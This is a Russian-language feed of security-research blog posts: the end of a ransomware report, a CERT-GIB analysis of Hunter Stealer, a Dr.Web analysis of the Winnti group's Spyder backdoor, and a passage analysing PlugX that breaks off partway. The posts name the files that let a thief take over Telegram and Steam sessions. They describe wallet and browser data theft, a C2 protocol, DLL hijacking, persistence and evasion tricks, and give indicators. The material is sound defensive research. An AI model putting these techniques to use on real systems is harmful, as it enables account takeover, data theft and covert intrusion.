Переход по ссылке, предоставляемой вымогателями после заражения, ведет на их страницу, доступную через сеть Tor.



Заключение


2020 год уже стал своеобразным рекордсменом по числу громких и, к сожалению, зачастую успешных целевых атак вымогателей. Развитие модели RaaS, видимый для хакерских группировок результат и все более халатное отношение организаций к собственной безопасности действительно могут привести к тому, что в этом году подобных инцидентов станет еще больше.

Также можно отметить, что злоумышленники все чаще угрожают не потерей данных, а их публикацией, при этом доказательства хищения предоставляются редко. К сожалению, соблазн заплатить выкуп, чтобы избежать больших проблем здесь и сейчас, все еще превалирует над здравым смыслом и способностью оценивать долгосрочные последствия с иной стороны.
Подробнее..
Категории: Информационная безопасность , Реверс-инжиниринг , Антивирусная защита , Блог компании доктор веб , Доктор веб , Dr.web , Вредоносное по , Шифровальщики

Особенности киберохоты как Hunter Stealer пытался угнать Telegram-канал База

08.02.2021 16:12:50 | Автор: admin

С ноября 2020 года участились случаи похищения аккаунтов у популярных Telegram-каналов. Недавно эксперты CERT-GIB установили тип вредоносной программы, с помощью которой хакеры пытались угнать учетку у Никиты Могутина, сооснователяпопулярного Telegram-канала База (320 тысяч подписчиков). В той атаке использовался стилер Hunter, который Могутину прислали под видом рекламы образовательной платформы. Сам стилер нацелен на устройства под управлением ОС Windows, поэтому атакующие так настойчиво просили журналиста открыть архив на рабочем компьютере, а не с iPhone, чего он и правильно делать не стал. Hunter "умеет" автоматически собирать учетные записи на зараженном компьютере, затем отсылает их злоумышленнику и раньше его, к примеру, часто использовали для кражи учетных данных у игроков GTA. Никита Карпов, младший вирусный аналитик CERT-GIB, провел анализ вредоносного файла и рассказал об особенностях киберохоты на популярные Telegram-каналы .

Кейс Базы

Стилер написан на C++ и рассылается владельцам каналов под видом предложения рекламы. Например, экземпляр, разбираемый в этой статье, маскировался под рекламу от GeekBrains.

Данный стилер продается на нескольких форумах и активно рекламируется самим продавцом.

Функционал

Функционал стилера реализован в методах, представленных ниже:

В процессе работы каждого метода похищенные данные записываются во временный файл со случайными именем и расширением:

Полученные временные файлы помещаются в архив внутри памяти процесса и затем удаляются.

Discord

Для похищения сессии Discord стилер ищет папку \discord\Local Storage\leveldb\ и копирует содержимое каждого файла во временный файл.

В архиве файлы записываются в папку с названием приложения и сохраняют изначальное имя файла Application\File.name.

Для примера была создана папка \discord\Local Storage\leveldb\ с файлом T.token.

Скриншот рабочего пространства

Для получения длины и ширины экрана используется win API GetSystemMetrics(). GetDC(0) используется, чтобы получить handle всего экрана, и с помощью CreateCompatibleBitmap() создается bitmap-объект, который сохраняется в файл Desktop.png.

Сбор файлов

Стилер получает путь USERPROFILE = C:\Users\USERNAME и собирает все файлы с расширениями из списка:

  • .txt

  • .rdp

  • .docx

  • .doc

  • .cpp

  • .h

  • .hpp

  • .lua (скрипты для GTA SAMP)

Steam

Для стилера интересны файлы с расширением .ssfn в папке Software\Valve\Steam\ssfn и все файлы из папки Steam/config/.

Для обхода защиты Steam Guard и доступа к аккаунту необходимо, чтобы пароль был сохранен в Steam-клиенте (галочка Запомнить пароль). Также нужны файлы с компьютера жертвы, которые собирает стилер:

  • файл с расширением .ssfn

  • config.vdf

  • loginusers.vdf

  • SteamAppData.vdf

Telegram

Стилер проверяет наличие Telegram среди процессов и получает расположение исполняемого файла "Telegram.exe". Далее программа проверяет, есть ли passcode в папке key_datas, и, если он установлен стилер начинает похищать данные других приложений. Если же Telegram не защищен passcodeом, то стилер похищает из папки \tdata\ файл, начинающийся с D877F783D5D3EF8C (в конце может быть любой символ), и файл, находящийся в \tdata\ D877F783D5D3EF8C и начинающийся с map (в конце может быть любой символ). Этих двух файлов будет достаточно для похищения сессии Telegram.

GTA SAMP

Данный стилер изначально ориентирован на игроков в GTA SAMP и похищение их аккаунтов. Об этом говорят файлы, собираемые с компьютера жертвы (скрипты, которые могут относиться к игре) и файлы, собираемые из \Documents\GTA San Andreas User Files\SAMP\. Для стилера интересны следующие файлы:

  • USERDATA.DAT хранит информацию о серверах, записывается в SAMP\servers.fav

  • chatlog.txt записывается в "SAMP\chatlog.txt"

Браузеры

Учетные данные пользователей браузера Mozilla Firefox стилер похищает из файла logins.json, который ищет в \Mozilla\Firefox\Profiles. Из браузеров Google Chrome и Chromium собираются:

  • данные о местоположении

  • учетные данные от аккаунтов на ресурсах

  • данные для автозаполнения форм

  • данные карт

  • cookies

  • аккаунты Facebook

Данные криптокошельков

Для всех криптокошельков алгоритм одинаковый:

  • Расшифровывается путь, связанный с кошельком:

    • Atomic \Atomic\Local Storage\leveldb\

    • Electrum \Electrum\wallets

    • Ethereum \Ethereum\keystore

    • Zcash \Zcash\

    • Exodus \Exodus\exodus.wallet\

  • Содержимое всех файлов переносится во временные файлы и помещается в архиве в папку с именем кошелька:

Бот нашел тестовый файл в папке.

И переместил его в архив.

Отчет

После сбора всех пользовательских данных создается файл "readme.txt", содержащий информацию о похищенных данных.

Для всех приложений в отчете отмечается, получилось ли похитить данные.

Но для криптокошельков всегда отмечается -. Это может свидетельствовать о том, что похищенные данные кошельков не отправляются клиенту, а остаются у владельца сервера.

Все собранные файлы помещаются в архив и отправляются на CnC.

Взаимодействие с CnC

Адрес командного центра также находится в зашифрованных строках:

Сетевое взаимодействие происходит через IPv6 или, если он недоступен через IPv4 по протоколу TCP. Для отправки архива с похищенными данными открывается сокет с портом 0x8AE = 2222.

В виде админ-панели выступает Telegram-бот, который находится на VDS (Virtual Dedicated Server). Похищенные данные изначально попадают к владельцу сервера, а затем отправляются клиенту через Telegram-бота.

В дампе трафика, полученного из отчета модуля THF Polygon, видим передачу архива.

Шифрование

Алгоритм шифрования, используемый для защиты строк:

  • На вход функции дешифровки подаются три параметра:

    • XOR-константа для данного слова

    • константа для инициализации KSA (Key Scheduling Algorithm)

    • длина строки

  • Для генерации ключа используются два последовательных KSA. Первый ключ генерируется по длине нужной строки из константы и ключа размером 32 байта, который генерируется алгоритмом MurMurHash2 по 4 байта. Второй получает результат работы первого и еще один сгенерированный через MurMurHash2 ключ.

  • Для каждого символа ключа, полученного из второго KSA, выполняется операция XOR с константным значением.

Реализация алгоритма MurMurHash2Реализация алгоритма MurMurHash2

Противодействие анализу

Для противодействия анализу используются следующие методы:

  • шифрование строк, разобранное выше

  • определение наличия отладки через win API-вызов IsDebuggerPresent()

Продавец и разработчик

В объявлениях на форумах продавец Hunter указывает свой контакт в Telegram как @NoFex228. К этому аккаунту привязан профиль Александра ХХ. во ВКонтакте, где обнаружено несколько постов, связанных с различными стилерами и продажей аккаунтов из GTA SAMP. Telegram-аккаунт разработчика указан во всех отчетах бота как @karelli. К нему привязан телефонный номер, связанный со страницей "ВКонтакте" некоего Анатолия ХХ.

Заключение

Хотя Hunter Stealer не отличается ни обширным функционалом, ни серьезным противодействием анализу, вредоносное ПО, похищающее пользовательские данные, способно нанести серьезный ущерб. Опасность такого ВПО в скорости выполнения задач и простом доступе к ценной информации.

Если у владельца Telegram-канала не включен код-пароль приложения, то злоумышленникам не составит труда восстановить сессию и сменить владельца канала. Так что вывод прост: не открывать подозрительные сообщения, архивы и ссылки и не пользоваться ОС, где стилеры чувствуют себя как дома.

Что делать, если заражение уже произошло?

Пока компьютер инфицирован, устанавливать код-пароль нет смысла, так как вредоносная программа может обладать возможностями клавиатурного шпиона. К работе на этом ПК можно возвращаться только после нейтрализации вредоносного кода.

Для администратора необходимо оперативно завершить активный сеанс на инфицированном компьютере и с помощью другого устройства (например, смартфона) сменить облачный пароль в настройках конфиденциальности, установить код-пароль на всех других доверенных устройствах.

Подробнее..
Категории: Информационная безопасность , It-компании , Реверс-инжиниринг , Исследования и прогнозы в it , Cybersecurity , Блог компании group-ib , Malware , Вредоносы , Анализ кода , Впо , Вредоносное по , Stealer , Стилер , Анализ вредоносов

Исследуем Spyder еще один бэкдор группировки Winnti

04.03.2021 10:11:49 | Автор: admin

В конце прошлого года в нашу лабораторию за помощью обратилась зарубежная телекоммуникационная компания, сотрудники которой обнаружили в корпоративной сети подозрительные файлы. В ходе поиска следов вредоносной активности аналитики выявили образец весьма интересного бэкдора. Его анализ показал, что мы имеем дело с очередным модульным APT-бэкдором, использующимся хакерской группой Winnti.

Последний раз деятельность Winnti попадала в наше поле зрения, когда мы анализировали модификации бэкдоров ShadowPad и PlugX в рамках расследования атак на государственные учреждения стран Центральной Азии. Оба эти семейства оказались схожи концептуально и имели примечательные пересечения в коде. Сравнительному анализу ShadowPad и PlugX был посвящен отдельный материал.

В сегодняшней статье мы разберем бэкдор Spyder именно так окрестили найденный вредоносный модуль наши вирусные аналитики. Мы рассмотрим алгоритмы и особенности его работы и выявим его связь с другими известными инструментами APT-группы Winnti.

Чем примечателен Spyder

Вредоносный модуль представляет собой DLL-библиотеку, которая на зараженном устройстве располагалась в системной директории C:\Windows\System32 под именем oci.dll. Таким образом, модуль был подготовлен для запуска системной службой MSDTC при помощи метода DLL Hijacking. По нашим данным, файл попал на компьютеры в мае 2020 года, однако способ первичного заражения остался неизвестным. В журналах событий мы обнаружили записи о создании служб, предназначенных для старта и остановки MSDTC, а также для исполнения бэкдора.

Log Name: SystemSource: Service Control ManagerDate: 23.11.2020 5:45:17Event ID: 7045Task Category: NoneLevel: InformationKeywords: ClassicUser: Computer: Description:A service was installed in thesystem.Service Name: IIJVXRUMDIKZTTLAMONQService File Name: net start msdtcService Type: user mode serviceService Start Type: demand startService Account: LocalSystem

Log Name: SystemSource: Service Control ManagerDate: 23.11.2020 5:42:20Event ID: 7045Task Category: NoneLevel: InformationKeywords: ClassicUser: Computer: Description:A service was installed in thesystem.Service Name: AVNUXWSHUNXUGGAUXBREService File Name: net stop msdtcService Type: user mode serviceService Start Type: demand startService Account: LocalSystem

Также мы нашли следы запуска других служб со случайными именами, их файлы располагались в директориях вида C:\Windows\Temp\<random1>\<random2>, где random1 и random2 являются строками случайной длины из случайных символов латинского алфавита. На момент проведения исследования исполняемые файлы этих служб отсутствовали.

Интересной находкой стала служба, свидетельствующая об использовании утилиты для удаленного исполнения кода smbexec.py из состава набораImpacket. С её помощью злоумышленники организовали удаленный доступ к командной оболочке в полуинтерактивном режиме.

Исследуемый вредоносный модуль oci.dll был добавлен в вирусную базу Dr.Web как BackDoor.Spyder.1. Это название пришло к нам из артефактов бэкдора. В одном из найденных образцов остались функции ведения отладочного журнала и сами сообщения, при этом те из них, которые использовались при коммуникации с управляющим сервером, содержали строку Spyder.

Бэкдор примечателен рядом интересных особенностей. Во-первых, oci.dll содержит основной PE-модуль, но с отсутствующими файловыми сигнатурами. Заполнение сигнатур заголовка нулями предположительно было сделано с целью затруднения детектирования бэкдора в памяти зараженного устройства. Во-вторых, полезная нагрузка сама по себе не несет вредоносной функциональности, но служит загрузчиком и координатором дополнительных плагинов, получаемых от управляющего сервера. С помощью этих подключаемых плагинов бэкдор выполняет основные задачи. Таким образом, это семейство имеет модульную структуру, как и другие семейства бэкдоров, используемые Winnti, упомянутые ранее ShadowPad и PlugX.

Анализ сетевой инфраструктуры Spyder выявил связь с другими атаками Winnti. В частности инфраструктура, используемая бэкдорами Crosswalk и ShadowPad, описанными в исследовании Positive Technologies, перекликается с некоторыми образцами Spyder. График ниже наглядно показывает выявленные пересечения.

Пожалуйста, масштабируйте страницу для чтения надписей, спасибо :)Пожалуйста, масштабируйте страницу для чтения надписей, спасибо :)

Принцип действия

Бэкдор представляет собой вредоносную DLL-библиотеку. Имена функций в таблице экспорта образца дублируют экспортируемые функции системной библиотеки apphelp.dll.

Функционально образец является загрузчиком для основной полезной нагрузки, которую хранит в секции .data в виде DLL, при этом некоторые элементы DOS и PE заголовков равны нулю.

Работа загрузчика

Загрузка выполняется в функции, обозначенной как malmain_3, вызываемой из точки входа DLL через две промежуточные функции-переходника.

Далее следует стандартный процесс загрузки PE-модуля в память и вызов точки входа загруженного модуля (DllMain) с аргументом DLL_PROCESS_ATTACH, а после выхода из нее повторный вызов с DLL_PROCESS_DETACH.

Работа основного модуля

В основном модуле значения всех сигнатур, необходимых для корректной загрузки файла, приравнены к нулю.

  • IMAGE_DOS_HEADER.e_magic

  • IMAGE_NT_HEADERS64.Signature

  • IMAGE_NT_HEADERS64.FileHeader.Magic

Кроме того, TimeDateStamp и имена секций также имеют нулевое значение. Остальные значения корректны, поэтому после ручной правки необходимых сигнатур файл можно загрузить для анализа в виде PE-модуля.

Анализ основного модуля затруднен, так как периодически используются нетипичные способы вызова функций. Для хранения и обработки структур используется библиотека UT hash. Она позволяет преобразовывать стандартные C-структуры в хеш-таблицы путем добавления одного члена типа ut_hash_handle. При этом все функции библиотеки, такие как добавление элементов, поиск, удаление и т. д., реализованы в виде макросов, что приводит к их принудительному разворачиванию и встраиванию (inline) компилятором в код основной (вызывающей) функции.

Для взаимодействия с управляющим сервером используется библиотека mbedtls.

Функция DllMain

В начале исполнения проверяется наличие события Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f45853}, режим исполнения (из конфигурации) и командная строка, затем происходит запуск рабочих потоков.

Модуль имеет встроенную конфигурацию следующей структуры:

structcfg_c2_block{inttype;charfield_4[20];charaddr[256];}structcfg_proxy_data{DWORDdw;charstr[256];charproxy_server[256];charusername[64];charpassword[32];charunk[128];};structbuiltin_config{intexec_mode;charurl_C2_req[100];charhash_id[20];charstring[64];charfield_BC;cfg_c2_block srv_1;cfg_c2_block srv_2;cfg_c2_block srv_3;cfg_c2_block srv_4;cfg_proxy_data proxy_1;cfg_proxy_data proxy_1;cfg_proxy_data proxy_1;cfg_proxy_data proxy_1;intCA_cert_len;charCA_cert[cert_len];};

Поле hash содержит некое значение, которое может являться идентификатором. Это значение используется при взаимодействии с управляющим сервером и может быть представлено в виде строки b2e4936936c910319fb3d210bfa55b18765db9cc, которая по длине совпадает с SHA1-хешами.

Поле string содержит строку из одного символа: 1.

CA_cert сертификат центра сертификации в формате DER. Он используется для установки соединения с управляющим сервером по протоколу TLS 1.2.

В функции DllMain предусмотрено создание нескольких рабочих потоков в зависимости от ряда условий.

  • Основной поток thread_1_main

  • Поток запроса нового сервера thread_2_get_new_C2_start_communication

  • Поток исполнения зашифрованного модуля thread_4_execute_encrypted_module

Основной поток

Вначале бэкдор проверяет версию ОС, затем подготавливает структуру для инициализации функций и структуру для хранения некоторых полей конфигурации. Процедура выглядит искусственно осложненной.

В структуру funcs_struc типа funcs_1 заносятся 3 указателя на функции, которые будут поочередно вызваны внутри функции init_global_funcs_and_allocated_cfg.

В функции set_global_funcs_by_callbacks происходит вызов каждой функции-инициализатора по очереди.

Общий порядок формирования структур выглядит следующим образом:

1) каждой функции передаются две структуры: первая содержит указатели на некоторые функции, вторая пустая;

2) каждая функция переносит указатели на функции из одной структуры в другую;

3) после вызова функции-инициализатора происходит очередное перемещение указателей на функции из локальной структуры в глобальный массив структур по определенному индексу.

В итоге после всех нестандартных преобразований получается некоторое количество глобальных структур, которые объединены в один массив.

В конечном итоге вызов функций можно представить следующим образом.

Сложные преобразования копирование локальных структур с функциями и их перенос в глобальные структуры вероятно, призваны усложнить анализ вредоносного образца.

Затем бэкдор при помощи библиотеки UT hash формирует хеш-таблицу служебных структур, ответственных за хранение контекста сетевого соединения, параметров подключения и т. д.

Фрагмент кода формирования хеш-таблицы.

Стоит отметить, что здесь располагается значение сигнатуры, которое позволяет определить используемую библиотеку: g_p_struc_10->hh.tbl->signature = 0xA0111FE1;.

Для рассматриваемого бэкдора характерно распределение значимых полей и данных по нескольким создаваемым для этого структурам. Эта особенность при анализе затрудняет создание осмысленных имен для структур.

После подготовительных действий переходит к инициализации подключения к управляющему серверу.

Инициализация соединения с управляющим сервером

После ряда подготовительных действий бэкдор разрешает хранящийся в конфигурации адрес управляющего сервера и извлекает порт. Адреса в конфигурации хранятся в виде строк: koran.junlper[.]com:80 и koran.junlper[.]com:443. Далее программа создает TCP-сокет для подключения. После этого создает контекст для защищенного соединения и выполняет TLS-рукопожатие.

После установки защищенного соединения бэкдор ожидает от управляющего сервера пакет с командой. Программа оперирует двумя форматами пакетов:

  • пакет, полученный после обработки протокола TLS, транспортный пакет;

  • пакет, полученный после обработки транспортного пакета, пакет данных. Содержит идентификатор команды и дополнительные данные.

Заголовок транспортного пакета представлен следующей структурой.

structtransport_packet_header{DWORDsignature;WORDcompressed_len;WORDuncompressed_len;};

Данные располагаются после заголовка и упакованы алгоритмом LZ4. Бэкдор проверяет значение поля signature, оно должно быть равно 0x573F0A68.

После распаковки полученный пакет данных имеет заголовок следующего формата.

structdata_packet_header{WORDtag;WORDid;WORDunk_0;BYTEupdate_data;BYTEid_part;DWORDunk_1;DWORDunk_2;DWORDlen;};

Поля tag и id в совокупности определяют действие бэкдора, то есть обозначают идентификатор команды.

Данные структуры заголовков используются в обоих направлениях взаимодействия.

Порядок обработки команд сервера:

  • верификация клиента;

  • отправка информации о зараженной системе;

  • обработка команд по идентификаторам.

В структуре, отвечающей за взаимодействие с управляющим сервером, есть переменная, которая хранит состояние диалога. В связи с этим перед непосредственным выполнением команд необходимо выполнение первых двух шагов, что можно рассматривать как второе рукопожатие.

Этап верификации

Для выполнения этапа верификации значения полей tag и id в полученном от управляющего сервера первичном пакете должны быть равны 1.

Процесс верификации состоит в следующем:

1. Бэкдор формирует буфер из 8-байтного массива, который следует после заголовка пакета и поля hash_id, взятого из конфигурации. Результат можно представить в виде структуры:

struct buff{BYTEpacket_data[8];BYTEhash_id[20];}

2. Вычисляется SHA1-хеш данных в полученном буфере, результат помещается в пакет (после заголовка) и отправляется на сервер.

Отправка информации о системе

Следующий полученный пакет от управляющего сервера должен иметь значения tag, равное 5, и id, равное 3. Данные о системе формируются в виде структуры sysinfo_packet_data.

structsession_info{DWORDid;DWORDState;DWORDClientBuildNumber;BYTEuser_name[64];BYTEclient_IPv4[20];BYTEWinStationName[32];BYTEdomain_name[64];};structsysinfo_block_2{WORDfield_0;WORDfield_2;WORDfield_4;WORDsystem_def_lang_id;WORDuser_def_lang_id;DWORDtimezone_bias;DWORDprocess_SessionID;BYTEuser_name[128];BYTEdomain_name[128];DWORDnumber_of_sessions;session_info sessions[number_of_sessions];};structsysinfo_block_1{DWORDunk_0;//0DWORDbot_id_created;DWORDdw_const_0;//0x101DWORDos_version;WORDdw_const_2;//0x200BYTEcpu_arch;BYTEfield_13;DWORDmain_interface_IP;BYTEMAC_address[20];BYTEbot_id[48];WCHARcomputer_name[128];BYTEcfg_string[64];WORDw_const;//2WORDsessions_size;};structsysinfo_packet_data{DWORDid;sysinfo_block_1 block_1;sysinfo_block_2 block_2;};

Поле sysinfo_packet_data.id содержит константу 0x19C0001.

Примечателен процесс определения бэкдором значений MAC-адреса и IP-адреса. Вначале программа ищет сетевой интерфейс, через который прошло наибольшее количество пакетов, затем получает его MAC-адрес и далее по нему ищет IP-адрес этого интерфейса.

Версия ОС кодируется значением от 1 до 13 (0, если возникла ошибка), начиная с 5.0 и далее по возрастанию версии.

В поле sysinfo_packet_data.block_1.cfg_string помещается значение string из конфигурации бэкдора, которое равно символу 1.

Обработка команд

После верификации и отправки системной информации BackDoor.Spyder.1 приступает к обработке главных команд. В отличие от большинства бэкдоров, команды которых имеют вполне конкретный характер (забрать файл, создать процесс и т. д.), в данном экземпляре они носят скорее служебный характер и отражают инструкции по хранению и структурированию получаемых данных. Фактически все эти служебные команды нацелены на загрузку новых модулей в PE-формате, их хранение и вызов тех или иных экспортируемых функций. Стоит отметить, что модули и информация о них хранятся в памяти в виде хеш-таблиц с помощью UT-hash.

tag

id

Описание

6

1

Отправить на сервер количество полученных модулей.

2

Сохранить в памяти параметры получаемого модуля.

3

Сохранить в памяти тело модуля.

4

Загрузить сохраненный ранее модуль. Поиск выполняется в хеш-таблице по идентификатору, полученному в пакете с командой. Модуль загружается в память, вызывается его точка входа, затем получаются адреса 4 экспортируемых функций, которые сохраняются в структуре для дальнейшего вызова. Вызвать экспортируемую функцию 1.

5

Вызвать экспортируемую функцию 4 одного из загруженных модулей, затем выгрузить его.

6

Отправить в ответ пакет, состоящий только из заголовка data_packet_header, в котором поле unk_2 равно 0xFFFFFFFF.

7

Вызвать экспортируемую функцию 2 одного из загруженных модулей.

8

Вызвать экспортируемую функцию 3 одного из загруженных модулей.

5

2

Отправить на сервер информацию о текущих параметрах подключения.

4

-

Предположительно экспортируемая функция 1 может возвращать таблицу указателей на функции, и по этой команде программа вызывает одну из данных функций.

После обработки каждого полученного от сервера пакета бэкдор проверяет разницу между двумя значениями результата GetTickCount. Если значение превышает заданное контрольное значение, то отправляет на сервер значение сигнатуры 0x573F0A68 без каких-либо дополнительных данных и преобразований.

Заключение

Рассмотренный образец бэкдора для целевых атак BackDoor.Spyder.1 примечателен в первую очередь тем, что его код не исполняет прямых вредоносных функций. Его основные задачи скрытое функционирование в зараженной системе и установление связи с управляющим сервером с последующим ожиданием команд операторов. При этом он имеет модульную структуру, что позволяет масштабировать его возможности, обеспечивая любую функциональность в зависимости от нужд атакующих. Наличие подключаемых плагинов роднит рассмотренный образец с ShadowPad и PlugX, что, вкупе с пересечениями сетевых инфраструктур, позволяет нам сделать вывод о его принадлежности к деятельности Winnti.

Подробнее..
Категории: Информационная безопасность , Реверс-инжиниринг , Антивирусная защита , Бэкдоры , Блог компании доктор веб , Доктор веб , Dr.web , Вредоносное по

Пока расследование не разлучит нас малварь, которая может сидеть в сети компании годами

02.04.2021 12:23:26 | Автор: admin

Недавно мы расследовали АРТ-атаку на одну российскую компанию и нашли много занятного софта. Сначала мы обнаружили продвинутый бэкдор PlugX, популярный у китайских группировок, АРТ-атаки которых обычно нацелены на похищение конфиденциальной информации, а не денег. Затем из скомпрометированной сети удалось вытащить несколько других схожих между собой бэкдоров (nccTrojan, dnsTrojan, dloTrojan) и даже общедоступных утилит.


Программы, используемые в этой преступной кампании, не отличаются сложностью, за исключением, может быть, PlugX. К тому же три из четырех вредоносов использовали при запуске давно известную технику DLL hijacking. Тем не менее, как показало наше исследование, даже при таких условиях злоумышленники могут годами оставаться в скомпрометированных сетях.


Мы решили изучить обнаруженный софт и поделиться своими наблюдениями.


PlugX


PlugX сложная вредоносная программа. Мы постараемся рассказать о ее основных функциях, а более подробное описание малвари можно найти в отчете Dr. Web.


Запуск PlugX


PlugX, как правило, распространяется в виде самораспаковывающихся архивов, содержащих:


  • невредоносный исполняемый файл (EXE), подписанный цифровой подписью (нам попадались подписи McAfee, Kaspersky, Support.com);
  • вредоносную динамическую библиотеку (Dynamic Link Library DLL);
  • зашифрованную основную нагрузку файлы с произвольными именем и расширением.

Такой набор характерен для техники DLL hijacking, при которой злоумышленник заменяет легитимную DLL на вредоносную. При этом малварь получает возможность работать от имени легитимного процесса и обходить таким образом средства защиты (рис. 1).



Рис. 1. Наглядное представление техники DLL hijacking


Рассмотрим в качестве примера один из экземпляров PlugX, характеристики которого приведены в табл. 1.


Табл. 1. Свойства файлов одного из образцов PlugX
Свойство EXE DLL Зашифрованная нагрузка
Имя файла mcut.exe mcutil.dll mcutil.dll.bbc
Тип файла PE32 executable (EXE) PE32 executable (DLL) None
Размер (в байтах) 140 576 4 096 180 358
Время компиляции 13 июня 2008 года 02:39:28 9 декабря 2014 года 10:06:14
MD5 884d46c01c762ad6ddd2759fd921bf71 e9a1482a159d32ae57b3a9548fe8edec 2d66d86a28cd28bd98496327313b4343
SHA-1 d201b130232e0ea411daa23c1ba2892fe6468712 a2a6f813e2276c8a789200c0e9a8c71c57a5f2d6 7bcf4f196578f2a43a2cd47f0b3c8d295120b646
SHA-256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe 2f81cf43ef02a4170683307f99159c8e2e4014eded6aa5fc4ee82078228f6c3c 0c831e5c3aecab14fe98ff4f3270d9ec1db237f075cd1fae85b7ffaf0eb2751

Вот что происходит при запуске невредоносного исполняемого файла (EXE) из пакета.


Сначала одна из импортируемых им библиотек (отдельная DLL) заменяется вредоносной. После загрузки в память процесса DLL открывает третий файл из пакета PlugX, который обходит средства защиты за счет отсутствия видимого исполняемого кода. Тем не менее он содержит шелл-код, после исполнения которого в памяти расшифровывается еще один дополнительный шелл-код. Он с помощью функции RtlDecompressBuffer() распаковывает PlugX (DLL). При открытии мы видим, что сигнатуры MZ и PE в исполняемом файле PlugX заменены на XV (рис. 2) скорее всего, это тоже нужно, чтобы скрыть модуль от средств защиты.



Рис. 2. Исполняемый файл PlugX в распакованном виде с измененными сигнатурами MZ и PE


Наконец, запускается распакованная вредоносная библиотека, и управление передается ей.


В другом экземпляре PlugX мы обнаружили интересную особенность: малварь пыталась скрыть некоторые библиотечные вызовы от песочниц. При восстановлении импортов вместо адреса импортируемой функции сохранялся адрес тремя байтами ранее. Результат для функции SetFileAttributesW() виден на рис. 3.



Рис. 3. При получении адреса функции SetFileAttributesW() сохраняется адрес 0x7577D4F4


В табл. 2 приведены характеристики этого экземпляра.


Табл. 2. Свойства файлов образца вредоносной программы PlugX, который пытался скрыть вызовы от песочниц
Свойство EXE DLL Зашифрованная нагрузка
Имя файла mcut.exe mcutil.dll mcutil.dll.bbc
Тип файла PE32 executable (EXE) PE32 executable (DLL) None
Размер 140 576 4 096 179 906
MD5 884d46c01c762ad6ddd2759fd921bf71 12ee1f96fb17e25e2305bd6a1ddc2de9 e0ae93f9cebcba2cb44cec23993b8917
SHA-1 d201b130232e0ea411daa23c1ba2892fe6468712 bf25f1585d521bfba0c42992a6df5ac48285d763 f0efdb723a65e90afaebd56abe69d9f649ca094c
SHA-256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe 97ad6e95e219c22d71129285299c4717358844b90860bb7ab16c5178da3f1686 81e53c7d7c8aa8f98c951106a656dbe9c931de465022f6bafa780a6ba96751eb

На рис. 4 представлен фрагмент кода PlugX, где встречается функция SetFileAttributesW(), и листинг из одной из песочниц.



а)



б)
Рис. 4. Фрагмент декомпилированного кода (а) и соответствующий ему фрагмент листинга перехваченных инструкций (б), где встречается вызов функции SetFileAttributesW()


В листинге из песочницы мы не видим вызов функции SetFileAttributesW(). Впрочем, вызовы функций LoadLibrary() и GetProcAddress(), которые были импортированы аналогичным образом, мы тоже не видим.


Основная нагрузка PlugX не сохраняется в расшифрованном виде на диске.


Работа PlugX


После запуска вредоносная программа расшифровывает конфигурацию, которая содержит адреса серверов управления, а также информацию, необходимую для дальнейшего функционирования (например, способ закрепления в системе или путь, по которому копируются файлы малвари).


При этом данные для конфигурации могут браться из основного загрузчика или из отдельного файла в текущей рабочей директории. Из того же файла может быть подтянута новая конфигурация при ее обновлении в ходе взаимодействия с сервером управления.


То, как вредонос будет вести себя дальше, во многом определяет его конфигурация.


В зависимости от значения check_flag в конфигурации PlugX вредоносная программа может начать поиск в зараженной системе сетевого адаптера, MAC-адрес которого совпадает с адресом, заданным в самой малвари. В случае совпадения вредоносная программа завершит свое исполнение. Вероятно, таким образом она пытается обнаружить виртуальную среду.


Режим работы вредоносной программы зависит от значения флага конфигурации mode_flag, которое может быть равно 0, 2, 3 или 4.


Если значение mode_flag равно 0, вредоносная программа закрепляется в системе (подробнее в разделе Закрепление в системе). Затем она переходит к инициализации плагинов и взаимодействию с сервером управления (подробнее в разделе Функциональность плагинов и исполнение команд).


Если значение mode_flag равно 2, вредоносная программа сразу переходит к инициализации плагинов и взаимодействию с сервером управления.


Если значение mode_flag равно 3, вредоносная программа внедряет шелл-код в Internet Explorer. Передача управления вредоносному коду осуществляется с помощью функции CreateRemoteThread(). Также производится инициализация плагинов, и создается именованный пайп, через который вредоносная программа получает команды, предназначенные для исполнения плагинами.


Если значение mode_flag равно 4, устанавливается перехват некоторых функций библиотеки wininet.dll. В функции-перехватчике извлекаются логины и пароли для подключения к прокси-серверу. Полученные данные будут сохранены в файле в рабочей директории вредоносной программы. При этом имена файлов, создаваемых малварью в процессе функционирования, генерируются на основе серийного номера диска и некоторого уникального для каждого файла значения. Перехватываются следующие функции:


  • HttpSendRequestA(),
  • HttpSendRequestW(),
  • HttpSendRequestExA(),
  • HttpSendRequestExW().

Закрепление в системе


Если конфигурация PlugX предусматривает закрепление вредоноса в зараженной системе, то в ней прописан каталог, в который будут скопированы компоненты малвари.


Анализируемый образец выбирает одну из следующих директорий в зависимости от разрядности малвари:


  • %SystemRoot%\System32\winssxs,
  • %SystemRoot%\SysWOW64\winssxs.

Для созданной директории и скопированных в нее компонентов программа пытается установить временные метки, совпадающие с временными метками библиотеки ntdll.dll из зараженной системы. Возможно, это нужно для маскировки под компонент ОС. Также PlugX скрывает эти файлы от пользователя, выставляя атрибуты FILE_ATTRIBUTE_SYSTEM и FILE_ATTRIBUTE_HIDDEN. В конфигурации указывается путь к месту, где будут сохраняться скриншоты, сделанные вредоносной программой.


В зависимости от persistence_flag PlugX может закрепляться:


  • как сервис (persistence_flag=1),
  • через реестр (persistence_flag=2),
  • любым из двух способов (persistence_flag=0), сначала попытаться создать сервис, а в случае неудачи закрепиться через реестр.

Помним, что малварь может и не закрепляться вовсе.


Когда вредонос пытается закрепиться как сервис, он маскируется под легитимную программу. Имя службы и ее параметры задаются в конфигурации. Например, в нашем образце создается сервис с именем SSXSS (отображаемое имя SSXS) и описанием McAfee OEM Info Copy Files, а качестве исполняемого файла службы используется невредоносный mcut.exe.


Если закрепиться в качестве службы не удается, программа пытается закрепиться через реестр и перезапускает себя из каталога, в который была скопирована ранее. Для этого она использует ключ реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Ключ реестра и параметр задаются через конфигурацию: в анализируемом образце в параметр, соответствующий отображаемому имени сервиса, программа прописывает путь до того же mcut.exe.


После того, как вредоносная программа закрепилась и перезапустилась, производится внедрение вредоносного кода. В анализируемом образце он работает в памяти легитимного процесса svchost.exe. Имя процесса подтягивается из конфигурации. Если внедрение кода прошло успешно, текущий процесс завершается.


